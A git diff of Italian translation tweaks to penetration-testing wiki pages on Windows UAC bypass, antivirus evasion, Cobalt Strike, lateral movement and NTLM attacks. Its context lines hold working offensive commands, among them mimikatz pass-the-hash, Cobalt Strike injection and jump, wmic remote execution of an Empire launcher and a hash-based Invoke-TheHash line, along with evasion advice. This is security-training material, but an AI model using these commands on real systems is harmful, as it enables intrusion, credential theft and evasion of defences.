fai: +Per confermare se UAC è abilitato, fai: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA @@ -56,7 +56,7 @@ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin REG_DWORD 0x5 ``` - Se **`0`** allora, UAC non chiederà (come **disabilitato**) -- Se **`1`** l'amministratore è **richiesto di inserire nome utente e password** per eseguire il binario con diritti elevati (su Secure Desktop) +- Se **`1`** l'amministratore è **richiesto di fornire nome utente e password** per eseguire il binario con diritti elevati (su Secure Desktop) - Se **`2`** (**Sempre notificami**) UAC chiederà sempre conferma all'amministratore quando tenta di eseguire qualcosa con privilegi elevati (su Secure Desktop) - Se **`3`** come `1` ma non necessariamente su Secure Desktop - Se **`4`** come `2` ma non necessariamente su Secure Desktop @@ -119,7 +119,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` ### Bypass UAC con Cobalt Strike -Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al suo massimo livello di sicurezza. +Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al massimo livello di sicurezza. ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -150,9 +150,9 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -Also, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page ottieni la versione di Windows `1607` dalle versioni di build. +Also, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) pagina ottieni la versione di Windows `1607` dalle versioni di build. -#### Maggiori bypass UAC +#### Ulteriori bypass UAC **Tutte** le tecniche utilizzate qui per bypassare AUC **richiedono** una **shell interattiva completa** con la vittima (una comune shell nc.exe non è sufficiente). @@ -172,7 +172,7 @@ Inoltre, se ottieni una sessione GUI che qualcuno stava usando (potenzialmente t Se non ti importa di essere rumoroso, potresti sempre **eseguire qualcosa come** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) che **chiede di elevare i permessi fino a quando l'utente non lo accetta**. -### Il tuo bypass - Metodologia di bypass UAC di base +### Il tuo bypass - Metodologia di base per il bypass UAC Se dai un'occhiata a **UACME** noterai che **la maggior parte dei bypass UAC sfrutta una vulnerabilità di Dll Hijacking** (principalmente scrivendo il dll malevolo su _C:\Windows\System32_). [Leggi questo per imparare come trovare una vulnerabilità di Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/). diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 049df5f06..d72859c21 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -14,7 +14,7 @@ Il rilevamento statico si ottiene contrassegnando stringhe o array di byte malev - **Crittografia** -Se crittografi il binario, non ci sarà modo per l'AV di rilevare il tuo programma, ma avrai bisogno di un caricatore per decrittografare ed eseguire il programma in memoria. +Se crittografi il binario, non ci sarà modo per l'AV di rilevare il tuo programma, ma avrai bisogno di qualche tipo di loader per decrittografare ed eseguire il programma in memoria. - **Offuscamento** @@ -47,16 +47,16 @@ Altri ottimi consigli da [@mgeeky](https://twitter.com/mariuszbit) per contrasta Come abbiamo detto prima in questo post, **gli strumenti pubblici** verranno eventualmente **rilevati**, quindi dovresti chiederti qualcosa: -Ad esempio, se vuoi eseguire il dump di LSASS, **hai davvero bisogno di usare mimikatz**? O potresti usare un progetto diverso che è meno conosciuto e che esegue anche il dump di LSASS. +Ad esempio, se vuoi eseguire il dump di LSASS, **hai davvero bisogno di usare mimikatz**? O potresti usare un progetto diverso che è meno conosciuto e fa anche il dump di LSASS. -La risposta giusta è probabilmente la seconda. Prendendo mimikatz come esempio, è probabilmente uno dei, se non il più contrassegnato malware dagli AV e dagli EDR, mentre il progetto stesso è super interessante, è anche un incubo lavorarci per aggirare gli AV, quindi cerca alternative per ciò che stai cercando di ottenere. +La risposta giusta è probabilmente l'ultima. Prendendo mimikatz come esempio, è probabilmente uno dei, se non il più contrassegnato malware dagli AV e EDR, mentre il progetto stesso è super interessante, è anche un incubo lavorarci per aggirare gli AV, quindi cerca alternative per ciò che stai cercando di ottenere. > [!NOTE] -> Quando modifichi i tuoi payload per l'evasione, assicurati di **disattivare l'invio automatico dei campioni** in Defender, e per favore, seriamente, **NON CARICARE SU VIRUSTOTAL** se il tuo obiettivo è ottenere evasione a lungo termine. Se vuoi controllare se il tuo payload viene rilevato da un particolare AV, installalo su una VM, prova a disattivare l'invio automatico dei campioni e testalo lì finché non sei soddisfatto del risultato. +> Quando modifichi i tuoi payload per l'evasione, assicurati di **disattivare l'invio automatico dei campioni** in Defender, e per favore, seriamente, **NON CARICARE SU VIRUSTOTAL** se il tuo obiettivo è raggiungere l'evasione a lungo termine. Se vuoi controllare se il tuo payload viene rilevato da un particolare AV, installalo su una VM, prova a disattivare l'invio automatico dei campioni e testalo lì fino a quando non sei soddisfatto del risultato. ## EXE vs DLL -Ogni volta che è possibile, **dai sempre priorità all'uso delle DLL per l'evasione**, nella mia esperienza, i file DLL sono solitamente **molto meno rilevati** e analizzati, quindi è un trucco molto semplice da usare per evitare il rilevamento in alcuni casi (se il tuo payload ha un modo di eseguire come DLL, ovviamente). +Ogni volta che è possibile, **dai sempre priorità all'uso delle DLL per l'evasione**, nella mia esperienza, i file DLL sono di solito **molto meno rilevati** e analizzati, quindi è un trucco molto semplice da usare per evitare il rilevamento in alcuni casi (se il tuo payload ha qualche modo di essere eseguito come una DLL, ovviamente). Come possiamo vedere in questa immagine, un Payload DLL di Havoc ha un tasso di rilevamento di 4/26 in antiscan.me, mentre il payload EXE ha un tasso di rilevamento di 7/26. @@ -66,7 +66,7 @@ Ora mostreremo alcuni trucchi che puoi usare con i file DLL per essere molto pi ## Sideloading DLL & Proxying -**DLL Sideloading** sfrutta l'ordine di ricerca delle DLL utilizzato dal caricatore posizionando sia l'applicazione vittima che il payload malevolo accanto l'uno all'altro. +**DLL Sideloading** sfrutta l'ordine di ricerca delle DLL utilizzato dal loader posizionando sia l'applicazione vittima che il payload malevolo accanto l'uno all'altro. Puoi controllare i programmi suscettibili al DLL Sideloading utilizzando [Siofra](https://github.com/Cybereason/siofra) e il seguente script di powershell: ```powershell @@ -77,7 +77,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija ``` Questo comando restituirà l'elenco dei programmi suscettibili al DLL hijacking all'interno di "C:\Program Files\\" e i file DLL che tentano di caricare. -Ti consiglio vivamente di **esplorare i programmi DLL Hijackable/Sideloadable da solo**, questa tecnica è piuttosto furtiva se eseguita correttamente, ma se utilizzi programmi Sideloadable DLL pubblicamente noti, potresti essere facilmente scoperto. +Ti consiglio vivamente di **esplorare i programmi DLL Hijackable/Sideloadable da solo**, questa tecnica è piuttosto furtiva se eseguita correttamente, ma se utilizzi programmi Sideloadable DLL pubblicamente noti, potresti essere facilmente catturato. Semplicemente posizionare una DLL malevola con il nome che un programma si aspetta di caricare, non caricherà il tuo payload, poiché il programma si aspetta alcune funzioni specifiche all'interno di quella DLL; per risolvere questo problema, utilizzeremo un'altra tecnica chiamata **DLL Proxying/Forwarding**. @@ -107,7 +107,7 @@ Sia il nostro shellcode (codificato con [SGN](https://github.com/EgeBalci/sgn))
> [!NOTE] -> Ti **consiglio vivamente** di guardare il [VOD di S3cur3Th1sSh1t su twitch](https://www.twitch.tv/videos/1644171543) riguardo al DLL Sideloading e anche il [video di ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) per saperne di più su quanto abbiamo discusso in modo più approfondito. +> Ti **consiglio vivamente** di guardare il [VOD di twitch di S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) riguardo al DLL Sideloading e anche il [video di ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) per saperne di più su quanto abbiamo discusso in modo più approfondito. ## [**Freeze**](https://github.com/optiv/Freeze) @@ -199,7 +199,7 @@ O questo script che tramite memory patching patcherà ogni nuovo Powersh Ci sono diversi strumenti che possono essere utilizzati per **offuscare il codice C# in chiaro**, generare **modelli di metaprogrammazione** per compilare binari o **offuscare binari compilati** come: - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: offuscatore C#** -- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): L'obiettivo di questo progetto è fornire un fork open-source della suite di compilazione [LLVM](http://www.llvm.org/) in grado di fornire maggiore sicurezza software attraverso [l'offuscamento del codice]() e la protezione contro manomissioni. +- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): L'obiettivo di questo progetto è fornire un fork open-source della suite di compilazione [LLVM](http://www.llvm.org/) in grado di fornire maggiore sicurezza del software attraverso [l'offuscamento del codice]() e la protezione contro manomissioni. - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator dimostra come utilizzare il linguaggio `C++11/14` per generare, al momento della compilazione, codice offuscato senza utilizzare alcuno strumento esterno e senza modificare il compilatore. - [**obfy**](https://github.com/fritzone/obfy): Aggiungi uno strato di operazioni offuscate generate dal framework di metaprogrammazione C++ che renderà la vita della persona che desidera craccare l'applicazione un po' più difficile. - [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz è un offuscatore binario x64 in grado di offuscare vari file pe diversi tra cui: .exe, .dll, .sys @@ -267,7 +267,7 @@ La maggior parte dei framework C2 (sliver, Covenant, metasploit, CobaltStrike, H - **Fork\&Run** -Comporta **la creazione di un nuovo processo sacrificial**, iniettare il tuo codice malevolo di post-exploitation in quel nuovo processo, eseguire il tuo codice malevolo e, quando hai finito, terminare il nuovo processo. Questo ha sia vantaggi che svantaggi. Il vantaggio del metodo fork and run è che l'esecuzione avviene **al di fuori** del nostro processo di impianto Beacon. Questo significa che se qualcosa nella nostra azione di post-exploitation va storto o viene catturato, c'è una **probabilità molto maggiore** che il nostro **impianto sopravviva.** Lo svantaggio è che hai una **maggiore probabilità** di essere catturato da **Rilevamenti Comportamentali**. +Comporta **la creazione di un nuovo processo sacrificial**, iniettando il tuo codice malevolo di post-exploitation in quel nuovo processo, eseguendo il tuo codice malevolo e, una volta terminato, uccidendo il nuovo processo. Questo ha sia vantaggi che svantaggi. Il vantaggio del metodo fork and run è che l'esecuzione avviene **al di fuori** del nostro processo di impianto Beacon. Questo significa che se qualcosa nella nostra azione di post-exploitation va storto o viene catturato, c'è una **probabilità molto maggiore** che il nostro **impianto sopravviva.** Lo svantaggio è che hai una **maggiore probabilità** di essere catturato da **Rilevamenti Comportamentali**.
@@ -308,7 +308,7 @@ Questo è anche un altro grande intervento di [@mariuszbit](https://twitter.com/ ### **Controlla quali parti Defender trova come malevole** -Puoi utilizzare [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) che **rimuoverà parti del binario** fino a **scoprire quale parte Defender** trova come malevola e te lo dividerà.\ +Puoi utilizzare [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) che **rimuoverà parti del binario** fino a **scoprire quale parte Defender** trova come malevole e te lo dividerà.\ Un altro strumento che fa **la stessa cosa è** [**avred**](https://github.com/dobin/avred) con un'offerta web aperta che fornisce il servizio in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) ### **Server Telnet** diff --git a/src/windows-hardening/basic-cmd-for-pentesters.md b/src/windows-hardening/basic-cmd-for-pentesters.md index 6e90c30fd..173c2dbf1 100644 --- a/src/windows-hardening/basic-cmd-for-pentesters.md +++ b/src/windows-hardening/basic-cmd-for-pentesters.md @@ -1,4 +1,4 @@ -# Comandi di base di Win CMD per Pentester +# Comandi di base di Win per Pentester {{#include ../banners/hacktricks-training.md}} @@ -32,7 +32,7 @@ Alcune variabili d'ambiente da evidenziare: - **windir:** C:\Windows - **OS**: Windows OS - **LOGONSERVER**: Nome del controller di dominio -- **USERDNSDOMAIN**: Nome del dominio da utilizzare con DNS +- **USERDNSDOMAIN**: Nome di dominio da utilizzare con DNS - **USERDOMAIN**: Nome del dominio ```bash nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC @@ -149,7 +149,7 @@ net localgroup administrators [username] /add #Add user to administrators net group /domain #Info about domain groups net group /domain #Users that belongs to the group ``` -### Elenca le sessioni +### Elenco delle sessioni ``` qwinsta klist sessions @@ -371,7 +371,7 @@ return 0; ``` ## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream) -**Esempi tratti da** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Ce ne sono molti di più!** +**Esempi tratti da** [**https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f**](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)**. Ce ne sono molti altri!** ```bash ## Selected Examples of ADS Operations ## diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md index 8b0380073..e28ce86f0 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/README.md @@ -67,9 +67,9 @@ PS> powershell -EncodedCommand ``` ## [Politica di Esecuzione](../authentication-credentials-uac-and-efs/#ps-execution-policy) -## [Lingua vincolata](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) +## [Lingua Constrainata](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) -## [Politica di AppLocker](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) +## [Politica AppLocker](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/basic-powershell-for-pentesters/broken-reference/README.md) ## Abilita WinRM (PS Remoto) ```powershell @@ -168,7 +168,7 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html Controlla [**questo post per informazioni dettagliate e il codice**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). Introduzione: -Questa nuova tecnica si basa sul hooking delle chiamate API dei metodi .NET. A quanto pare, i metodi .NET devono essere compilati in istruzioni di macchina native in memoria, che finiscono per assomigliare molto ai metodi nativi. Questi metodi compilati possono essere hooked per cambiare il flusso di controllo di un programma. +Questa nuova tecnica si basa sul hooking delle chiamate API dei metodi .NET. A quanto pare, i metodi .NET devono essere compilati in istruzioni macchina native in memoria, che finiscono per sembrare molto simili ai metodi nativi. Questi metodi compilati possono essere hooked per cambiare il flusso di controllo di un programma. I passaggi per eseguire l'hooking delle chiamate API dei metodi .NET sono: @@ -181,7 +181,7 @@ I passaggi per eseguire l'hooking delle chiamate API dei metodi .NET sono: ### AMSI Bypass 3 - SeDebug Privilege -[**Seguendo questa guida e codice**](https://github.com/MzHmO/DebugAmsi) puoi vedere come, con abbastanza privilegi per debuggare i processi, puoi avviare un processo powershell.exe, debuggare, monitorare quando carica `amsi.dll` e disabilitarlo. +[**Seguendo questa guida e codice**](https://github.com/MzHmO/DebugAmsi) puoi vedere come, con abbastanza privilegi per eseguire il debug dei processi, puoi avviare un processo powershell.exe, eseguirne il debug, monitorare quando carica `amsi.dll` e disabilitarlo. ### AMSI Bypass - More Resources @@ -217,7 +217,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches Get-ChildItem Env: | ft Key,Value -AutoSize #get all values $env:UserName @Get UserName value ``` -## Altri drive connessi +## Altri dischi connessi ```powershell Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` @@ -250,7 +250,7 @@ Password : 1ts-mag1c!!! SecurePassword : System.Security.SecureString Domain : HTB ``` -O direttamente analizzando il formato XML: +O direttamente analizzando il modulo XML: ```powershell $cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List * diff --git a/src/windows-hardening/checklist-windows-privilege-escalation.md b/src/windows-hardening/checklist-windows-privilege-escalation.md index 871df7024..0e47b6352 100644 --- a/src/windows-hardening/checklist-windows-privilege-escalation.md +++ b/src/windows-hardening/checklist-windows-privilege-escalation.md @@ -60,12 +60,12 @@ - [ ] **Scrivere** [**permessi sulle applicazioni installate**](windows-local-privilege-escalation/#write-permissions) - [ ] [**Applicazioni di avvio**](windows-local-privilege-escalation/#run-at-startup) -- [ ] **Driver vulnerabili** [**Driver**](windows-local-privilege-escalation/#drivers) +- [ ] **Driver vulnerabili** [**Drivers**](windows-local-privilege-escalation/#drivers) ### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking) - [ ] Puoi **scrivere in qualche cartella dentro PATH**? -- [ ] Esiste qualche binario di servizio noto che **cerca di caricare qualche DLL non esistente**? +- [ ] Esiste qualche binario di servizio noto che **cerca di caricare qualche DLL inesistente**? - [ ] Puoi **scrivere** in qualche **cartella di binari**? ### [Rete](windows-local-privilege-escalation/#network) diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md index f9ef5a847..e154cf717 100644 --- a/src/windows-hardening/cobalt-strike.md +++ b/src/windows-hardening/cobalt-strike.md @@ -22,7 +22,7 @@ I beacon di questi listener non devono comunicare direttamente con il C2, posson `Attacks -> Packages ->` * **`HTMLApplication`** per file HTA -* **`MS Office Macro`** per un documento di office con una macro +* **`MS Office Macro`** per un documento office con una macro * **`Windows Executable`** per un .exe, .dll o servizio .exe * **`Windows Executable (S)`** per un **stageless** .exe, .dll o servizio .exe (meglio stageless che staged, meno IoCs) @@ -63,7 +63,7 @@ powershell <scrivi qui il comando powershell> make_token [DOMAIN\user] [password] #Crea un token per impersonare un utente nella rete ls \\computer_name\c$ # Prova a usare il token generato per accedere a C$ in un computer rev2self # Smetti di usare il token generato con make_token -## L'uso di make_token genera l'evento 4624: Un account è stato effettuato con successo. Questo evento è molto comune in un dominio Windows, ma può essere ristretto filtrando sul Tipo di Accesso. Come accennato sopra, utilizza LOGON32_LOGON_NEW_CREDENTIALS che è di tipo 9. +## L'uso di make_token genera l'evento 4624: Un account è stato effettuato l'accesso con successo. Questo evento è molto comune in un dominio Windows, ma può essere ristretto filtrando sul Tipo di Accesso. Come accennato sopra, utilizza LOGON32_LOGON_NEW_CREDENTIALS che è di tipo 9. # UAC Bypass elevate svc-exe <listener> @@ -79,7 +79,7 @@ rev2self # Smetti di usare il token da steal_token ## Avvia processo con nuove credenziali spawnas [domain\username] [password] [listener] #Fallo da una directory con accesso in lettura come: cd C:\ -## Come make_token, questo genererà l'evento Windows 4624: Un account è stato effettuato con successo ma con un tipo di accesso di 2 (LOGON32_LOGON_INTERACTIVE). Dettaglierà l'utente chiamante (TargetUserName) e l'utente impersonato (TargetOutboundUserName). +## Come make_token, questo genererà l'evento Windows 4624: Un account è stato effettuato l'accesso con successo ma con un tipo di accesso di 2 (LOGON32_LOGON_INTERACTIVE). Dettaglierà l'utente chiamante (TargetUserName) e l'utente impersonato (TargetOutboundUserName). ## Inietta nel processo inject [pid] [x64|x86] [listener] @@ -92,7 +92,7 @@ pth [DOMAIN\user] [NTLM hash] ## Pass the hash tramite mimikatz mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden" -## Senza /run, mimikatz genera un cmd.exe, se stai eseguendo come utente con Desktop, vedrà la shell (se stai eseguendo come SYSTEM sei a posto) +## Senza /run, mimikatz avvia un cmd.exe, se stai eseguendo come utente con Desktop, vedrà la shell (se stai eseguendo come SYSTEM sei a posto) steal_token <pid> #Ruba il token dal processo creato da mimikatz ## Pass the ticket @@ -128,7 +128,7 @@ jump [method] [target] [listener] ## Metodi: ## psexec x86 Usa un servizio per eseguire un artefatto Service EXE ## psexec64 x64 Usa un servizio per eseguire un artefatto Service EXE -## psexec_psh x86 Usa un servizio per eseguire un one-liner PowerShell +## psexec_psh x86 Usa un servizio per eseguire una riga di comando PowerShell ## winrm x86 Esegui uno script PowerShell tramite WinRM ## winrm64 x64 Esegui uno script PowerShell tramite WinRM @@ -166,7 +166,7 @@ shinject <pid> x64 C:\Payloads\msf.bin #Inietta il codice shell di metasplo # Pass metasploit session to cobalt strike ## Genera shellcode Beacon stageless, vai su Attacks > Packages > Windows Executable (S), seleziona il listener desiderato, seleziona Raw come tipo di output e seleziona Usa payload x64. -## Usa post/windows/manage/shellcode_inject in metasploit per iniettare il shellcode generato di cobalt strike +## Usa post/windows/manage/shellcode_inject in metasploit per iniettare il codice shell di cobalt strike generato # Pivoting diff --git a/src/windows-hardening/lateral-movement/dcom-exec.md b/src/windows-hardening/lateral-movement/dcom-exec.md index 4f59583c2..e3e244343 100644 --- a/src/windows-hardening/lateral-movement/dcom-exec.md +++ b/src/windows-hardening/lateral-movement/dcom-exec.md @@ -6,7 +6,7 @@ **Per ulteriori informazioni su questa tecnica, controlla il post originale da [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)** -Gli oggetti del Modello di Oggetti a Componenti Distribuiti (DCOM) presentano una capacità interessante per interazioni basate su rete con oggetti. Microsoft fornisce documentazione completa sia per DCOM che per il Modello di Oggetti a Componenti (COM), accessibile [qui per DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [qui per COM](). Un elenco di applicazioni DCOM può essere recuperato utilizzando il comando PowerShell: +Gli oggetti del Distributed Component Object Model (DCOM) presentano una capacità interessante per interazioni basate su rete con oggetti. Microsoft fornisce documentazione completa sia per DCOM che per il Component Object Model (COM), accessibile [qui per DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) e [qui per COM](). Un elenco di applicazioni DCOM può essere recuperato utilizzando il comando PowerShell: ```bash Get-CimInstance Win32_DCOMApplication ``` diff --git a/src/windows-hardening/lateral-movement/smbexec.md b/src/windows-hardening/lateral-movement/smbexec.md index f2dbfe762..cedacef17 100644 --- a/src/windows-hardening/lateral-movement/smbexec.md +++ b/src/windows-hardening/lateral-movement/smbexec.md @@ -2,6 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} + ## Come Funziona **Smbexec** è uno strumento utilizzato per l'esecuzione remota di comandi su sistemi Windows, simile a **Psexec**, ma evita di posizionare file dannosi sul sistema target. @@ -9,7 +10,7 @@ ### Punti Chiave su **SMBExec** - Funziona creando un servizio temporaneo (ad esempio, "BTOBTO") sulla macchina target per eseguire comandi tramite cmd.exe (%COMSPEC%), senza scaricare alcun binario. -- Nonostante il suo approccio furtivo, genera registri di eventi per ogni comando eseguito, offrendo una forma di "shell" non interattiva. +- Nonostante il suo approccio furtivo, genera registri eventi per ogni comando eseguito, offrendo una forma di "shell" non interattiva. - Il comando per connettersi utilizzando **Smbexec** appare così: ```bash smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10 diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index 99f66bbf5..9011ed306 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -63,21 +63,21 @@ L'autenticazione è come quella menzionata **prima ma** il **server** conosce l' La **lunghezza della sfida è di 8 byte** e la **risposta è lunga 24 byte**. -L'**hash NT (16byte)** è diviso in **3 parti di 7byte ciascuna** (7B + 7B + (2B+0x00\*5)): l'**ultima parte è riempita di zeri**. Poi, la **sfida** è **criptata separatamente** con ciascuna parte e i byte **criptati risultanti** sono **uniti**. Totale: 8B + 8B + 8B = 24Bytes. +L'**hash NT (16byte)** è diviso in **3 parti di 7byte ciascuna** (7B + 7B + (2B+0x00\*5)): l'**ultima parte è riempita di zeri**. Poi, la **sfida** è **criptata separatamente** con ciascuna parte e i byte criptati **risultanti** sono **uniti**. Totale: 8B + 8B + 8B = 24Bytes. **Problemi**: - Mancanza di **randomness** - Le 3 parti possono essere **attaccate separatamente** per trovare l'hash NT - **DES è crackabile** -- La 3º chiave è sempre composta da **5 zeri**. +- La 3ª chiave è sempre composta da **5 zeri**. - Dato la **stessa sfida**, la **risposta** sarà **la stessa**. Quindi, puoi dare come **sfida** alla vittima la stringa "**1122334455667788**" e attaccare la risposta utilizzando **tabelle rainbow precompute**. ### Attacco NTLMv1 Al giorno d'oggi è sempre meno comune trovare ambienti con Delegazione Non Vincolata configurata, ma questo non significa che non puoi **abuse un servizio Print Spooler** configurato. -Potresti abusare di alcune credenziali/sessioni che hai già sull'AD per **chiedere alla stampante di autenticarsi** contro qualche **host sotto il tuo controllo**. Poi, utilizzando `metasploit auxiliary/server/capture/smb` o `responder` puoi **impostare la sfida di autenticazione a 1122334455667788**, catturare il tentativo di autenticazione, e se è stato fatto utilizzando **NTLMv1** sarai in grado di **crackarlo**.\ +Potresti abusare di alcune credenziali/sessioni che hai già sull'AD per **chiedere alla stampante di autenticarsi** contro un **host sotto il tuo controllo**. Poi, utilizzando `metasploit auxiliary/server/capture/smb` o `responder` puoi **impostare la sfida di autenticazione a 1122334455667788**, catturare il tentativo di autenticazione, e se è stato fatto utilizzando **NTLMv1** sarai in grado di **crackarlo**.\ Se stai usando `responder` potresti provare a \*\*usare il flag `--lm` \*\* per cercare di **downgradare** l'**autenticazione**.\ &#xNAN;_Nota che per questa tecnica l'autenticazione deve essere eseguita utilizzando NTLMv1 (NTLMv2 non è valido)._ @@ -85,7 +85,7 @@ Ricorda che la stampante utilizzerà l'account del computer durante l'autenticaz ### Attacco NTLMv1 con hashcat -NTLMv1 può essere anche rotto con il NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) che formatta i messaggi NTLMv1 in un metodo che può essere rotto con hashcat. +NTLMv1 può anche essere rotto con il NTLMv1 Multi Tool [https://github.com/evilmog/ntlmv1-multi](https://github.com/evilmog/ntlmv1-multi) che formatta i messaggi NTLMv1 in un metodo che può essere rotto con hashcat. Il comando ```bash @@ -159,14 +159,14 @@ La **lunghezza della sfida è di 8 byte** e **vengono inviati 2 risposte**: Una **La prima risposta** è creata cifrando usando **HMAC_MD5** la **stringa** composta dal **client e dal dominio** e usando come **chiave** l'**hash MD4** dell'**NT hash**. Poi, il **risultato** sarà usato come **chiave** per cifrare usando **HMAC_MD5** la **sfida**. A questo, **verrà aggiunta una sfida del client di 8 byte**. Totale: 24 B. -La **seconda risposta** è creata usando **diversi valori** (una nuova sfida del client, un **timestamp** per evitare **attacchi di ripetizione**...) +La **seconda risposta** è creata usando **diversi valori** (una nuova sfida del client, un **timestamp** per evitare **attacchi di replay**...) Se hai un **pcap che ha catturato un processo di autenticazione riuscito**, puoi seguire questa guida per ottenere il dominio, il nome utente, la sfida e la risposta e provare a decifrare la password: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/) ## Pass-the-Hash **Una volta che hai l'hash della vittima**, puoi usarlo per **impersonarla**.\ -Devi usare un **tool** che eseguirà l'**autenticazione NTLM usando** quell'**hash**, **oppure** potresti creare un nuovo **sessionlogon** e **iniettare** quell'**hash** all'interno del **LSASS**, così quando viene eseguita qualsiasi **autenticazione NTLM**, quell'**hash sarà usato.** L'ultima opzione è ciò che fa mimikatz. +Devi usare uno **strumento** che **eseguirà** l'**autenticazione NTLM usando** quell'**hash**, **oppure** potresti creare un nuovo **sessionlogon** e **iniettare** quell'**hash** all'interno del **LSASS**, così quando viene eseguita qualsiasi **autenticazione NTLM**, quell'**hash verrà utilizzato.** L'ultima opzione è ciò che fa mimikatz. **Per favore, ricorda che puoi eseguire attacchi Pass-the-Hash anche usando account di computer.** @@ -214,7 +214,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff ``` #### Invoke-TheHash -Questa funzione è un **mix di tutte le altre**. Puoi passare **diversi host**, **escludere** alcuni e **selezionare** l'**opzione** che desideri utilizzare (_SMBExec, WMIExec, SMBClient, SMBEnum_). Se selezioni **uno** tra **SMBExec** e **WMIExec** ma non fornisci alcun parametro _**Command**_, controllerà semplicemente se hai **sufficienti permessi**. +Questa funzione è un **mix di tutte le altre**. Puoi passare **diversi host**, **escludere** alcuni e **selezionare** l'**opzione** che desideri utilizzare (_SMBExec, WMIExec, SMBClient, SMBEnum_). Se selezioni **uno** di **SMBExec** e **WMIExec** ma non fornisci alcun parametro _**Command**_, controllerà semplicemente se hai **sufficienti permessi**. ``` Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 ``` diff --git a/src/windows-hardening/ntlm/wmiexec.md b/src/windows-hardening/ntlm/wmiexec.md index 3eb2886e4..6f73750f4 100644 --- a/src/windows-hardening/ntlm/wmiexec.md +++ b/src/windows-hardening/ntlm/wmiexec.md @@ -89,13 +89,13 @@ La query remota di WMI per informazioni specifiche, come gli amministratori loca ### **Querying WMI Remota Manuale** -L'identificazione furtiva degli amministratori locali su una macchina remota e degli utenti connessi può essere ottenuta attraverso query WMI specifiche. `wmic` supporta anche la lettura da un file di testo per eseguire comandi su più nodi contemporaneamente. +L'identificazione furtiva degli amministratori locali su una macchina remota e degli utenti connessi può essere ottenuta attraverso query WMI specifiche. `wmic` supporta anche la lettura da un file di testo per eseguire comandi su più nodi simultaneamente. Per eseguire un processo in remoto tramite WMI, come il deployment di un agente Empire, viene impiegata la seguente struttura di comando, con l'esecuzione riuscita indicata da un valore di ritorno di "0": ```bash wmic /node:hostname /user:user path win32_process call create "empire launcher string here" ``` -Questo processo illustra la capacità di WMI per l'esecuzione remota e l'enumerazione del sistema, evidenziando la sua utilità sia per l'amministrazione di sistema che per il penetration testing. +Questo processo illustra la capacità di WMI per l'esecuzione remota e l'enumerazione del sistema, evidenziando la sua utilità sia per l'amministrazione di sistema che 